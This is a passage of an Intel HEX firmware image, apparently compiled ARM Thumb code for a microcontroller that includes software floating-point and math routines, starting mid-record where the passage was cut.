0085B0718434B468446D9083D0042\n:10BF70007AE74B46C0085F070743BC46D908A0E7ED\n:10BF8000FF070000FFFF7FFFFFFF0F80FE0700009D\n:10BF9000731B002D00D185E0D8498E4200D173E19A\n:10BFA00080214D4609040D43A946382B00DD0EE1E2\n:10BFB0001F2B00DD84E12021C91A05004F4688406F\n:10BFC0008F40411E88414946DD40D9402F430743F9\n:10BFD0008844BF189742924151424144350040E0A5\n:10BFE000C6498E4200D1A5E080214C4609040C438D\n:10BFF000A146382F00DDBEE01F2F00DDEDE020213F\n:10C000000500C91B4C4688408C40FD40411E8841BC\n:10C0100049462C432043F9404446611A8846171A82\n:10C02000BA42924141465242891A1C00350038E614\n:10C0300030001F3DE840202B03D04021CB1A9E400A\n:10C0400037437B1E9F4100210743002504E74346F9\n:10C0500013431F007A1E97413F1887428041414297\n:10C0600049440B0200D4F7E6A44B01359D4200D1B0\n:10C0700003E7A34A7B080A4001210F401F43D3076F\n:10C080001F43510837E63B004646203BDE40202F49\n:10C0900004D040234146DB1B99400A43571EBA4156\n:10C0A0003243F8E54946014300D1F4E0591E002926\n:10C0B00000D115E1914DAB4200D1E5E00B0074E7F2\n:10C0C0002021C91A160047468A408F40511E8A41D6\n:10C0D0004146DE40D940374317438944BCE78718BF\n:10C0E000494687429B4141445B42C91801250B02E6\n:10C0F00000D4B1E60225BCE74146D2084807024316\n:10C100009446C9081C003D00AEE6002B00D0B8E6FE\n:10C110003B00D2087F071743BC46D908D1E6002E62\n:10C1200000D18CE04146D2084F073A439446C908F3\n:10C130001C009CE64146D2084F073A439446C90882\n:10C140001C00BEE64B46C0085F0738438446D9084A\n:10C15000B7E6871A4B464246B8428041991A404298\n:10C16000091A01259DE54A46C00857073843844609\n:10C17000D1081D0078E6494601430800471EB84132\n:10C180004DE7171A41464846BA42B641091A764267\n:10C190008E1B1C008AE500292ED1002ECAD18021D9\n:10C1A0000024090391E649464646871A8E1BB84289\n:10C1B00089414942711A0E023CD5171A4146484638\n:10C1C000BA429241091A5242891A1C0093E54B4621\n:10C1D00003431F00781E8741FBE639004C46203997\n:10C1E000CC40202F04D040214D46C91B8D40284310\n:10C1F000411E8841204312E74946C0084D072843A5\n:10C20000C908002E3ED080252D03294208D046467D\n:10C21000F7082F4204D11C003900D20870071043E0\n:10C22000CA00430F1A43C000C0085707384384466A\n:10C23000D10846E63B000B439C4600D00CE60021AB\n:10C24000002414E6171A41464846BA429241091A98\n:10C250005242891A1C00012523E53B00D2087F07C2\n:10C260001743BC46D90802E68718494687429B41D6\n:10C2700041445B42C9180B0200D4EDE5204B012577\n:10C280001940E9E584461CE64346D2085F073A4375\n:10C290009446D90815E63900D2087F073A439446F8\n:10C2A000C9081D00E0E50023350000229C4640E55A\n:10C2B0004146D2084F071743BC46C9081C0000E698\n:10C2C00019004D462039CD40202B04D04021CB1AF7\n:10C2D0004946994008430700781E87412F4378E676\n:10C2E0008718494697429B4141445B42C918FDE685\n:10C2F0000023024D9C461A001BE5C046FF070000C4\n:10C30000FFFF7FFFF0B557464E464546DE46E0B597\n:10C31000814605000C03480085B092461F00240B9F\n:10C32000400DCE0F002800D1ADE0864B984200D1E1\n:10C33000C8E06B0FE4001C4380231B042343984692\n:10C34000814BED009B4600239946834400933C03B8\n:10C350007B005046240B5B0DFF0F002B00D177E0D4\n:10C36000784A934218D07849420F8C46E40014432F\n:10C370005946802263441204CB1A14439B46C200E0\n:10C38000002033007B409A464B460F2B00D9EDE04E\n:10C390006E499B00CB589F466D4B52469C462243AC\n:10C3A000E344002A00D0AEE04946022319438946FF\n:10C3B00000240220E5E73E00A04615000090009B07\n:10C3C000022B00D10BE2032B00D19DE1012B1FD0EA\n:10C3D000B246604F5F44002F00DCDAE16B0700D00B\n:10C3E0000EE2ED084346DB0106D542465A4B802754\n:10C3F0001A409046FF005F44584B9F4224DC43465E\n:10C400005B071D4343467F055C02240B7B0D03E065\n:10C41000B24600230024002500212403270B0C0D25\n:10C4200024053C431F054E4B28001C405346274320\n:10C430007F00DB077F081F43390005B03CBC9046F6\n:10C440009946A246AB46F0BD3E4B00240025E3E7EB\n:10C450005246224350D0002C00D18AE1200001F046\n:10C46000A5FA02000B3A1D2301009B1A5246083917\n:10C47000DA408C40144352468A403A4B58449B461B\n:10C48000834400207DE74B46234398462CD0002C64\n:10C4900000D15EE1200001F089FA02000B3A1D2371\n:10C4A0009B1A4A460100DA4008398C4013004D4679\n:10C4B000234398468D402C4B1B1A9B4600239946DC\n:10C4C000009344E74B462343984606D108239946F8\n:10C4D000063B00258346009339E70C239946093B28\n:10C4E000A0468346009332E70423994600239B46E7\n:10C4F0000133002500932AE7494601231943894661\n:10C50000002401203DE74A4603231A4391460320B5\n:10C51000524636E7002380249A4624030025094B1F\n:10C520007AE7802341461B03194200D1ECE01C420C\n:10C5300000D0E9E01C432403240BBA461500014B4C\n:10C540006AE7C046FF07000001FCFFFF10FA020087\n:10C5500001F8FFFFFF030000FFFFFFFEFE070000E2\n:10C56000FFFF0F80F30300000DFCFFFF444500D2E6\n:10C57000D6E000D1D1E001235B429C462E0040462C\n:10C580000025E344130E24021C431302994623049E\n:10C590001B0C210C00930191FEF704FA009A0B0486\n:10C5A0004243310C070019438A4207D90919013F58\n:10C5B0008C4203D88A4201D9871E0919881A019929\n:10C5C000FEF7F0F909048C4631046646009A090C1E\n:10C5D0004243030031438A4204D90919013B8C428A\n:10C5E00000D807E13F041F43891A4B464A461E0CF8\n:10C5F0001204380C0296160C3200039646433B0494\n:10C60000B8463700029E1B0C5A4373437043DB1934\n:10C61000160CF618B74203D980235B029C4660448F\n:10C62000330C12043604120C1818B618814200D2CA\n:10C6300080E07CD0AE1B091AB54280419B4F40423E\n:10C64000081A5F44844200D1FDE00199FEF7AAF97F\n:10C65000009A0B044243310C050019438A4207D962\n:10C660000919013D8C4203D88A4201D9851E091956\n:10C67000881A0199FEF796F909048C46310466463A\n:10C68000009A090C4243030031438A4207D9091931\n:10C69000013B8C4203D88A4201D9831E0919039EAB\n:10C6A0002D041D433300891A2A04120C53430093AE\n:10C6B000029B280C46435A435843009B92191B0C7B\n:10C6C0009C466244964203D980235B029C466044A8\n:10C6D000009B160C1B0412041B0C3018D21881424C\n:10C6E00006D302D001231D4375E6002A00D172E66D\n:10C6F00061186B1EA14200D290E0814200D2A8E0F6\n:10C7000000D1CFE01D00EDE78024434624031C4305\n:10C710002403240BB246664B7EE6AA4200D92AE7E0\n:10C720004346DE0758086B081E43ED072AE7B5426B\n:10C7300000D37FE743464D445A1E4D459B415B4223\n:10C740001B19C9188C424FD2884271D86ED09046BE\n:10C7500070E7484601F02AF903001A00153220302C\n:10C760001C2A00DC9BE64A46083B9A40002590467E\n:10C77000A1E601F01BF903001A00153220301C2A33\n:10C7800000DC70E65446083B00229C4075E601251B\n:10C790006D420121C91B382900DD3AE61F2962DC00\n:10C7A0002A0043464348CA405844834085401343C7\n:10C7B0006A1E954144462B43CC405A0709D00F22AC\n:10C7C0001A40042A05D01A1D9A429B415B42E41884\n:10C7D000130022025FD50123002400251CE6B24687\n:10C7E000334B0024002517E68C42B0D1A945ABD9C4\n:10C7F00090461FE78A4200D8F4E6831E0919F1E645\n:10C800000F232B40042B00D1EBE505235B42AB4209\n:10C810009B4104355B42ED089844E3E51D008142ED\n:10C8200000D05FE7914500D05CE7D4E5AE428ED9F9\n:10C8300002234D445B429C464D459B415B421B1984\n:10C84000E044C918F6E6002FA1DD01230025984435\n:10C85000C8E54B465E004E459B415B421C19023DBC\n:10C860000919B146DBE71F2243465242D71BFB4062\n:10C87000202904D0444610485844844025436A1E69\n:10C8800095412B43072500241D4007D00F2200248B\n:10C890001A40042A97D165076402240BDB081D4364\n:10C8A0000023B9E59145D4D31D00BBE7FF03000089\n:10C8B000FF0700001E0400003E040000F0B54E46D5\n:10C8C0004546DE4657461C03E0B5240B1A4E0F03BF\n:10C8D0004D00A1465C00DB0F84463F0B6D0DC90F78\n:10C8E0009046640D9B46B5421AD0B44210D0012642\n:10C8F000A5420ED14F450CD10126C44509D1594559\n:10C9000018D0002D05D138430600701E864100E086\n:10C91000012630003CBC90469946A246AB46F0BD8D\n:10C920003B0001260343F4D1AC42F2D14B46134302\n:10C93000EFD1E1E70026ECE7FF070000F0B54E4637\n:10C9400045465746DE461C03E0B5240B324E0F0326\n:10C950004D00A1465C0084463F0B6D0DC90F90460B\n:10C96000640DDB0FB5422AD0B44219D0002D2BD173\n:10C970003843834646424641002C02D14846024392\n:10C9800028D0002E16D1994229D0022301390B401C\n:10C99000013B18003CBC90469946A246AB46F0BD10\n:10C9A0004E4632432FD1002DEDD138434642464109\n:10C9B000002EE8D0002BECD101235B42E9E73E00DA\n:10C9C000064320D1AC42EBD0002CDCD148460243D8\n:10C9D000D9D1DAE75A460023002ADAD0D5E7A542B2\n:10C9E0000ADCE7DB4F45D0D810D000234F45D0D22A\n:10C9F0000029E1D00B00CCE75842434158420223C2\n:10CA00000340013BC5E702235B42C2E7C445BCD8F3\n:10CA10000023C445BDD2EBE7FF070000F0B54E464A\n:10CA200045465746DE461C03E0B5240B314E0F0346\n:10CA30004D00A1465C0084463F0B6D0DC90F90462A\n:10CA4000640DDB0FB54211D0B44214D0002D30D1AB\n:10CA50003843834646424641002C14D1484602439F\n:10CA600011D15A460023002A17D010E03E00064399\n:10CA700012D1AC421DD14E4632430DD1002D04D10E\n:10CA8000384346424641002E0ED1994217D0022328\n:10CA900001390B40013B00E0022318003CBC9046EA\n:10CAA0009946A246AB46F0BD002BF6D101235B426E\n:10CAB000F3E7002CE9D148460243E6D1E7E7A54277\n:10CAC00006DD58424341584202230340013BE4E75C\n:10CAD000A542E9DB4F45DAD806D000234F45DCD22A\n:10CAE0000029E3D00B00D8E7C445D0D80023C445C3\n:10CAF000D3D2F5E7FF070000F0B557464E4645464E\n:10CB0000DE46E0B50C030600480087B09246984622\n:10CB1000240B400DCF0F002800D178E07B4B9842CA\n:10CB200000D190E0730FE4001C438023784A1B047B\n:10CB30001C439446030063440093002399469B469C\n:10CB4000F500434642461E03D20F5B005046360BAB\n:10CB50005B0D904600D180E06C4A93421DD06C4939\n:10CB6000420F8C4600996344F6008C46164380229F\n:10CB70009C44120463461643C200002000930099AF\n:10CB8000434601318C4649467B4001930F2900D929\n:10CB9000C6E0604B890059588F465C4952468C4626\n:10CBA000009B324363440093002A00D08DE0494645\n:10CBB00002231943894600260220E0E743460193F9\n:10CBC0003400150083465B46022B64D0032B00D152\n:10CBD000F1E1012B00D05EE10022002600250021BA\n:10CBE0003603340B0E0D360526434B4C12053440EC\n:10CBF0001443019B6400DB0764081C4328002100E8\n:10CC000007B03CBC90469946A246AB46F0BD250015\n:10CC1000354352D0002C00D176E1200000F0C6FE52\n:10CC200002000B3A1D2301009B1A3200350008391F\n:10CC30008C40DA408D401443384B1B1A009300237C\n:10CC400099469B467DE7350025432FD10823994619\n:10CC5000063B002400909B4673E7524632431ED0A9\n:10CC6000002E00D142E1300000F0A0FE02000B3A9D\n:10CC70001D2301009B1A52460839DA408E401643A4\n:10CC800052468A40009B2549181A03008C4663448B\n:10CC90000093002073E71D4A002600259FE74946C0\n:10CCA0000123194389460026012068E70C23994691\n:10CCB000093B350000909B4643E704239946002337\n:10CCC0000093013300249B463BE74A4603231A4363\n:10CCD00091460320524652E7019774E700238026CD\n:10CCE000019336030025094A79E780231B031C4280\n:10CCF00000D1F3E01E4200D0F0E01E43434636036D\n:10CD00001500360B0193014A69E7C046FF07000092\n:10CD100001FCFFFF50FA0200FFFF0F800DFCFFFF38\n:10CD20002F0C2D042D0C2B00110C1204120C53434C\n:10CD30009846130028007B4399464843484483465D\n:10CD400040460B00000C824658467B4350440293F9\n:10CD5000814506D99A4680235B029946CA445346C8\n:10CD60000293030C9B4643461B0400041B0C98468D\n:10CD7000030043440493330C99462B003604360CCD\n:10CD80007343984633007B439A464B465D435F436B\n:10CD900043465544180C4019824503D980235B0251\n:10CDA0009A465744050CEB19059343461D042D0C78\n:10CDB00000044019250C2404240C270057436A431F\n:10CDC00090462A003B0C9A464A43614341445144F1\n:10CDD0008344884503D980235B02984642443F043C\n:10CDE0000B0C3F0C0904C919270098464B467743A2\n:10CDF0005C436E435D433B0C9946A4194C4442444A\n:10CE00000395A64204D980235B02984645440395C6\n:10CE1000029B3F045B441E008342804123049846EA\n:10CE2000059B3F0C4744984676188E4289414744FB\n:10CE300040423D18A846494293468A46C344DA44D4\n:10CE40009F42BF4180458041039B934592418A4563\n:10CE500089419846534640427F420743240C524240\n:10CE600049420A433C19A418DA0D049B75021D437C\n:10CE7000681E8541534644446402F60D144335430D\n:10CE80005A021543E30173D501216A080D40154389\n:10CE9000E207154364084B4A6244002A43DD6B07EE\n:10CEA00009D00F212940042905D0291DA942AD41EF\n:10CEB0006D4264190D00E30104D5434A14408022F9\n:10CEC000D200624441498A4200DDE4E66107ED0890\n:10CED000640252050D43260B520D80E68026360370\n:10CEE00026433603360B0197394A78E600F05EFD9B\n:10CEF00003001A00153220301C2A00DCB8E6564622\n:10CF0000083B00229E40BDE6300000F04FFD0300CC\n:10CF10001A00153220301C2A00DC83E63400083B5E\n:10CF200000259C4088E60121891A382900DD53E656\n:10CF30001F2920DC2748220060442E0085408240C3\n:10CF4000CE40681E854132432A43CC40530709D066\n:10CF50000F211140042905D0111D914292415242E6\n:10CF6000A4180A0023021FD501220026002536E658\n:10CF7000009B9C468FE71F204042821A2000D04031\n:10CF8000202903D0144A6244944025436A1E9541E7\n:10CF90002A000725024315400026002D07D00F2147\n:10CFA000002411400429D7D165076402260BD2085A\n:10CFB0001543002213E68026360326433603360B3C\n:10CFC000034A0CE6FF030000FFFFFFFEFE07000020\n:10CFD000FF0700001E0400003E040000F0B55746A5\n:10CFE00045464E46DE46E0B50F037F0A450F3D43FA\n:10CFF000AC465D004E00CC0F690D8A461F03CE493A\n:10D00000550F83B0C0007F0AD200760D8046DB0F3B\n:10D010002F4301928A4500D1C0E05546751BA946B1\n:10D020000125AB465D466B409B469C4200D190E09B\n:10D030004D46002D00DCBBE05346002B00D1D4E070\n:10D040008E4200D19BE280231B041F434B46382BAA\n:10D0500000DD8CE11F2B00DD34E2494620233D003A\n:10D060005B1A11009A409D40531E9A414B46A846B8\n:10D070004D46DF406346E9404546DB1B9C460D4379\n:10D080001543451BA842804163464142591A0B0291\n:10D0900000D40DE149024B0A98464346002B00D1CB\n:10D0A00058E1404600F082FC0300083B20222900A2\n:10D0B0004746D21A9F40D1409D400F439E4200DD1B\n:10D0C00044E19E1B731C1F2B00DDD0E120222800B1\n:10D0D000D21A390095409140D8406A1E95410143CB\n:10D0E0000D4339000026D9406B0709D00F232B4090\n:10D0F000042B05D02B1DAB42AD416D4249191D00DB\n:10D100000B0200D4D7E0721C8B4B5605760D9A4269\n:10D1100000D1DFE0894FED080F40780728438246B1\n:10D120007A02120B00211203130B0A0D12051A4387\n:10D13000834B3605134033435B00E4075B0823430E\n:10D140005046190003B03CBC90469946A246AB46F7\n:10D15000F0BD4D46002D5BDD5346002B00D18AE02B\n:10D160008E4200D127E180231B041F434B46382BFE\n:10D1700000DD8CE11F2B00DCC3E13900203BD940EE\n:10D180004B46202B05D040234D465B1B9F403A4326\n:10D190000192019D6F1EBD410D437CE169493D0037\n:10D1A00089461543B144002D2DD09B469C422FD07B\n:10D1B0004946002949D1644D711C294200D0DBE069\n:10D1C0003D00614615430143AA46002E00D0EAE126\n:10D1D000002900D1BAE1002D00D0FAE16346C00871\n:10D1E0005A0702439246D9086EE03B00134300D130\n:10D1F000D9E04B46013B002B00D1B7E1894500D176\n:10D20000D9E0994622E701256B409B469C42CFD14D\n:10D210004946002900D0D6E0711C8A4655464A4945\n:10D220000D4236D161460143002E58D1002900D16C\n:10D2300011E23B00134300D013E26346C0085B07D2\n:10D24000184363468246D9083EE05146891B894609\n:10D250005C46002E00D0E3E06346034300D16FE15B\n:10D260000B00013B002B00D1ECE1334DA94200D172\n:10D27000E2E19946DDE03B00134300D186E14B46F5\n:10D28000013B002B00D14FE1894500D193E0994645\n:10D290006CE7294B9A4500D1F0E18218824289411E\n:10D2A0005646674449427918CD0752081543490844\n:10D2B0006B0700D01AE74B07ED081D43AA46B1469D\n:10D2C000C9081D4B99452CD04B460A035E05120B2D\n:10D2D000760D27E71600002300229A4622E7002950\n:10D2E00000D13DE163463E005D07C008D908164302\n:10D2F0002843002E00D19DE180252D03294207D02F\n:10D30000FE082E4204D15C463100D2087807104353\n:10D31000CA00410F1143C0004A07C00810438246AB\n:10D32000C90853460B4300D1EDE1802212030A43A2\n:10D330001203120B004EF5E6FF070000FFFF7FFF10\n:10D34000FFFF0F8001F8FFFFFE070000D149F61A2A\n:10D350003940C9E6280000F029FB030018331F2BD1\n:10D3600000DCA3E6083885402F000025A6E63A43F6\n:10D3700015006A1E954184E66146851ACB1BA842BA\n:10D3800089414942884619004346C91A0B0088461C\n:10D390001B0200D513E10B002B439A4600D07CE61C\n:10D3A0000021002490E76346C0085B0718436346EA\n:10D3B0008246D90885E76346C0085B071843634681\n:10D3C0008246D908ADE753469B1B9946002E00D1F3\n:10D3D00089E0B14B9A4500D1C2E0802361461B042D\n:10D3E00019438C464B46382B00DD04E11F2B00DD32\n:10D3F00054E1494620234E465B1A65460100984099\n:10D400009D40F140431E98410D4305436046F04066\n:10D410003F18AD18954289414942C91956463FE027\n:10D420009D4B9A4500D19BE0802361461B04194324\n:10D430008C464B46382B00DDAFE01F2B00DDE0E0D3\n:10D44000494620234E465B1A6546010098409D40A0\n:10D45000F140431E98410D4305436046F0403F1A9A\n:10D46000551BAA4289414942791A56460FE63A00AD\n:10D470001F3EF2401600202B03D04022D31A9F40BB\n:10D480003D436B1E9D4100213543002610E73A4382\n:10D4900015006A1E95412D18854280414142614424\n:10D4A0000B0200D404E77C4B01369E4200D112E708\n:10D4B0000122784F6B08394015401D43CB071D43AF\n:10D4C000490811E63900203BD9404B46202B05D0B6\n:10D4D00040234D465B1B9F403A430192019D6F1EC6\n:10D4E000BD410D43CDE56346034329D04B46013B87\n:10D4F000002B00D100E1684DA94500D19CE0994680\n:10D5000070E7494620233D005B1A9D4011009A4078\n:10D51000A8464D46531E9A414B46E9404546DF40DA\n:10D520000D431543BC44B6E78518854289416744DD\n:10D530004942791801260B0200D4B9E60226B7E762\n:10D54000D2087B071A439246F908BAE6002D00D1AB\n:10D5500026E77807D20810438246F9085C46B3E60E\n:10D560007807D20810438246F908DAE6851A63463E\n:10D57000A8428041DF1B4042391A012687E56346F5\n:10D58000C0085A0702439246D908CAE66346C00853\n:10D590005A0702439246D90893E6634603431D00A7\n:10D5A000681E85415CE700293DD1002D00D19FE038\n:10D5B0007907D2080A439246F9085C46B1E6151A83\n:10D5C0006346AA429241FF1A5242BB1A98465C46F1\n:10D5D00063E56346851AD91BA8429B415B42C91A81\n:10D5E0000B0250D5151A6346AA429241FF1A5242C5\n:10D5F000B91A5C4678E5634603431D00681E854101\n:10D6000007E76646203BDE404B46202B06D04946C6\n:10D6100040235B1A61469940084380464546691E8F\n:10D620008D4135431CE76346C0085E07D908002DCD\n:10D6300046D13043824674E6D2087B071A439246AD\n:10D64000F9086EE6151A6346AA429241FF1A524241\n:10D65000B91A01261BE5D2087B071A439246F9083E\n:10D6600032E68518854289416744494279180B02A0\n:10D6700000D41DE6074B0126194019E60023564643\n:10D6800000229A464EE52B000B439A4600D187E6CE\n:10D690000EE6C046FFFF7FFFFF0700006646203B07\n:10D6A000DE404B46202B06D0494640235B1A61469C\n:10D6B0009940084380464546691E8D413543A8E69A\n:10D6C000064380200003014208D0FD08054205D131\n:10D6D000D2087F073A4316005C462900CA00710F42\n:10D6E0001143F6004A07F60832439246C90818E685\n:10D6F00080210024090318E6851895429241674469\n:10D700005142791816E70023014E9A461A0009E59E\n:10D71000FF07000030B5144D0A034B00120B5B0DE0\n:10D72000C90F0024AB4204DD104CA34203DD104BB3\n:10D73000CC18200030BD8024640322430D4CE41A31\n:10D740001F2C08DD0C48C31ADA4013005C42002984\n:10D75000EFD11C00EDE7094DE040AC4663449A4030\n:10D7600013000343F2E7C046FE0300001D0400005F\n:10D77000FFFFFF7F3304000013040000EDFBFFFFF9\n:10D7800070B5002818D0C317C5185D40C40F280015\n:10D7900000F00CF9164B1B1A5B055E0D0A2820DC05\n:10D7A00003002A0015339A4013000B22101A2A0096\n:10D7B000C2401203120B03E00024002600220023C3\n:10D7C000002112031800130B0A0D0A4D12051A430B\n:10D7D0002A40330513435B00E4075B082343190029\n:10D7E00070BD2A000B3882401203120B0023E7E7BA\n:10D7F0001E040000FFFF0F8070B541004602C40FF9\n:10D80000FE20090E4B1C750A184214D0E0239B0021\n:10D810006D07360BCB1800210A0D280012051C4D90\n:10D8200032435B052A405B0813435B00E4075B0857\n:10D830002343190070BD002914D1002D1ED02800EB\n:10D8400000F0B4F80A281CDC0B232A001B1ADA406B\n:10D85000030015339D400F4B12031B1A5B05160B7B\n:10D860005B0DD8E7002D06D0320B802636036D07FE\n:10D870001643094BCFE7084B0026CCE700230026D0\n:10D88000C9E703002A000B3B9A400025E3E7C046A6\n:10D89000FFFF0F8089030000FF0700004A00F0B57A\n:10D8A0000B03520D3D4D5B0A470F561CC90F1F431A\n:10D8B000C4002E4228D03A4BD518FE2D08DDFF2299\n:10D8C00000204002D205400AC90710430843F0BDBA\n:10D8D000002D2DDD80010200501E8241FB00640FEF\n:10D8E000134323435A0757D00F221A40042A00D06B\n:10D8F00004338022D2041A404ED00135EAB2FF2D03\n:10D90000DDD09B01580ADCE73C43002A06D1002CFD\n:10D910000BD005239B01580AD2B2D2E7002CCED0FF\n:10D920008020C0033843FF22CBE700220020C8E755\n:10D930002B00173322DB80231E261B043B43761B60\n:10D940001F2E1DDD02204042451B1800E840050047\n:10D95000202E04D013488446624493401C43230085\n:10D960005C1EA3412B4300255A07BDD18020C00473\n:10D9700018400122A842C4D10200CBE70022C8E728\n:10D980000948101822008440250083406C1EA541E0\n:10D99000F2402B431343E6E72A00BBE7FE070000F3\n:10D9A00080FCFFFFA2FCFFFF82FCFFFF1C21012384\n:10D9B0001B04984201D3000C10391B0A984201D372\n:10D9C000000A08391B09984201D30009043902A250\n:10D9D000105C40187047C0460403020201010101B7\n:10D9E000000000000000000010B5002903D1FFF77F\n:10D9F000DDFF203002E0081CFFF7D8FF10BDC04655\n:10DA0000F0B5C646714B450000B5041C07006D0813\n:10DA10009D420BDDFF23DB059D4200DD72E0002807\n:10DA200000DC7FE06A4804BC9046F0BD694B9D4233\n:10DA30007FDC694B9D4269DD01267642211C201C5A\n:10DA4000FDF770FD011C8046FDF76CFD6349051C68\n:10DA5000FDF768FD6249FDF717FA291CFDF762FD25\n:10DA60006049FDF711FA291CFDF75CFD5E49FDF7E1\n:10DA70000BFA291CFDF756FD5C49FDF705FA291C38\n:10DA8000FDF750FD5A49FDF7FFF94146FDF74AFD04\n:10DA900058498046281CFDF745FD5749FDF758FEBB\n:10DAA000291CFDF73FFD5549FDF752FE291CFDF7E6\n:10DAB00039FD5349FDF74CFE291CFDF733FD514953\n:10DAC000FDF746FE291CFDF72DFD011C4046FDF724\n:10DAD000DBF9211CFDF726FD731C25D04A4BB6004F\n:10DAE000F158FDF735FE211CFDF732FE474B011CB6\n:10DAF000F058FDF72DFE002F95DA80231B069C467B\n:10DB0000604490E7011CFDF7BFF98CE74049FDF741\n:10DB1000BBF9FE218905FDF799F80300201C002BB5\n:10DB20008AD080E73B487EE7011C201CFDF710FEF1\n:10DB300079E700F0FBF8384B041C9D4216DC374BAC\n:10DB40009D4232DC011CFDF79FF9FE218905FDF79E\n:10DB5000FFFD8021051CC905201CFDF795F9011C5E\n:10DB6000281CFDF709FB0026041C67E72C4B9D428F\n:10DB700014DCFF218905FDF7EBFDFF21051C89055C\n:10DB8000201CFDF7CFFCFE218905FDF77DF9011C66\n:10DB9000281CFDF7F1FA0226041C4FE7011C21485E\n:10DBA000FDF7EAFA0326041C48E7FE218905FDF784\n:10DBB000CFFDFE21051C8905201CFDF765F9011C20\n:10DBC000281CFDF7D9FA0126041C37E7FFFF7F5018\n:10DBD000DB0FC93FFFFFDF3EFFFFFF30D769853C0A\n:10DBE00059DA4B3D356B883D6E2EBA3D2549123EC4\n:10DBF000ABAAAA3E21A215BD6BF16E3D95879D3D56\n:10DC0000388EE33DCDCC4C3EA0FA020090FA0200E3\n:10DC1000CAF24971DB0FC9BFFFFF973FFFFF2F3FDC\n:10DC2000FFFF1B40000080BFF8B543005F081B0EDC\n:10DC30007F3B051C06001C00162B28DC002B14DB88\n:10DC4000184F1F41074220D01749FDF71DF9002149\n:10DC5000FCF7FCFF002818D0002D03DD8020000415\n:10DC600020414619BE43300010E00F49FDF70CF982\n:10DC70000021FCF7EBFF002807D0002D0EDB281C4D\n:10DC8000002F03D0FE20800500E0281CF8BD074BC4\n:10DC90009F42FBD9011CFDF7F7F8F7E7802000064B\n:10DCA000F4E7C046FFFF7F00CAF24971FFFF7F7FA4\n:10DCB00000B51C4A430083B05B08934218DD1A4A42\n:10DCC000934204DD011CFDF743FD03B000BD69462E\n:10DCD00001F03EFF03230199184001280CD00228CF\n:10DCE00017D0002811D00098012202F08FFDECE738\n:10DCF000002102F009F9E8E70122009802F086FD10\n:10DD000080231B069C466044DFE7009802F0FCF885\n:10DD1000DBE7009802F0F8F880231B069C4660447D\n:10DD2000D3E7C046D80F493FFFFF7F7F4000400840\n:10DD30007047C046F8B543005F081B0E7F3B051CCB\n:10DD400006001C00162B28DC002B14DB164F1F418D\n:10DD5000074220D01549FDF797F80021FCF776FF20\n:10DD6000002818D0002D03DA802000042041461935\n:10DD7000BE43300010E00D49FDF786F80021FCF7A6\n:10DD800065FF002807D00020002D05DA281C002F91\n:10DD900002D0074800E0281CF8BD064B9F42FBD983\n:10DDA000011CFDF771F8F7E7FFFF7F00CAF2497128\n:10DDB000000080BFFFFF7F7F70B50C000021216055\n:10DDC0000F49430002005B088B4218DC002B16D081\n:10DDD000FF25ED050021284208D19821C905FDF74E\n:10DDE000A1FB1921020043005B0849420548DB15ED\n:10DDF0000240FC207E3B5B1880052360104370BD11\n:10DE0000FFFF7F7FFFFF7F8070B5041C0D0003F0D4\n:10DE10004DF8002805D00021201CFCF7FDFE00284D\n:10DE200001D0201C70BD201C290000F083F8041CC8\n:10DE300003F03CF8002805D00021201CFCF7ECFE84\n:10DE40000028EED003F04EF822230360E9E7C04635\n:10DE500043001B0E7F3B10B5162B0CDC002B0EDB9A\n:10DE6000094A1A41024206D0030093430B60191C71\n:10DE7000FDF76EFC02E00860C00FC00710BDC30FC5\n:10DE8000DB070B60FAE7C046FFFF7F0010B500F02C\n:10DE900001F810BD30B5430059081B0E7F3B83B01D\n:10DEA0000200162B1EDC00291AD0C40F002B20DB29\n:10DEB0001D491941014213D04908014204D0802074\n:10DEC000800318418A431043184BA400E458011CF6\n:10DED000201CFCF7D9FF01900198211CFDF738FCAC\n:10DEE00003B030BD124B9942FAD9011CFCF7CCFFAC\n:10DEF000F6E743020D495B0AA00045585942194311\n:10DF00008023490ADB03120D194012051143281C16\n:10DF1000FCF7BAFF01900198291CFDF719FC40009D\n:10DF20004008E4072043DBE7FFFF7F00B0FA020070\n:10DF3000FFFF7F7F430070B55A080C000100002AE4\n:10DF40001CD0244DAA421AD8FF22D205104219D162\n:10DF50009821C905FDF7E6FA1F4B9C422CDB4300D4\n:10DF60001B0E193B1B190100FE2B0FDD1B4B00285C\n:10DF700000DA1B4B1949181CFDF7D4FA70BDFCF7E9\n:10DF800083FFFBE71B0E1B19FE2BEFDC002B0EDCC7\n:10DF90001A00163214DA134B9C42E7DC124B0028AD\n:10DFA00000DA124B1049181CFDF7BCFAE6E71048DE\n:10DFB0000140D8050843E1E70B49FDF7B3FADDE777\n:10DFC0000B4819330840CC21DB0518438905FDF7C0\n:10DFD000A9FAD3E7FFFF7F7FB03CFFFFCAF2497188\n:10DFE000CAF249F150C300006042A20D6042A28D06\n:10DFF000FFFF7F8000B51C4A430083B05B0893425B\n:10E000001BDD1A4A934204DD011CFDF7A1FB03B09E\n:10E0100000BD694601F09CFD0323019918400128C9\n:10E0200010D0022817D0002810D0009801F06CFF03\n:10E0300080231B069C466044E9E70022002102F091\n:10E04000E5FBE4E7009801F05FFFE0E700980122BC\n:10E0500002F0DCFBDBE70098012202F0D7FB802313\n:10E060001B069C466044D2E7D80F493FFFFF7F7FE5\n:10E0700000B5104A430083B05B08934214DD0E4A9A\n:10E08000934204DD011CFDF763FB03B000BD69464C\n:10E0900001F05EFD022240001040013A121A01997F\n:10E0A000009802F02DFCF0E70122002102F028FC8C\n:10E0B000EBE7C046DA0F493FFFFF7F7F43001B0EAF\n:10E0C0007F3B0200162B05DC002B04DB03491941C2\n:10E0D0008A4310007047C00FC007FBE7FFFF7F00B7\n:10E0E00010B500F0C3F910BDF8B504000D0000F044\n:10E0F0007BFA134B06001B780F005BB201330FD085\n:10E1000022002B002000290003F0A4FD002807D1E5\n:10E110000022002320002900FCF74AFD002802D13C\n:10E1200030003900F8BD02F0DDFE2123002203603B\n:10E13000002310001900FEF7E5F806000F00EFE7D6\n:10E14000F000002070B5041C00F028FB0F4B051CEC\n:10E150001B785BB201330ED0211C201CFDF79CFC08\n:10E16000002808D1201CFFF7E1FDFE218905FCF7FE\n:10E170006DFD002801D1281C70BD02F0B3FE2123E3\n:10E180000360034802F09CFE051CF4E7F000002049\n:10E19000B8FA020070B5041C00F062FC0F4B051CBD\n:10E1A0001B785BB201330ED0211C201CFDF774FCE0\n:10E1B000002808D1201CFFF7B9FDFE218905FCF7D6\n:10E1C00045FD002801D1281C70BD02F08BFE2123E3\n:10E1D0000360034802F074FE051CF4E7F000002021\n:10E1E000B8FA020010B500F08FFD10BD70B5041C28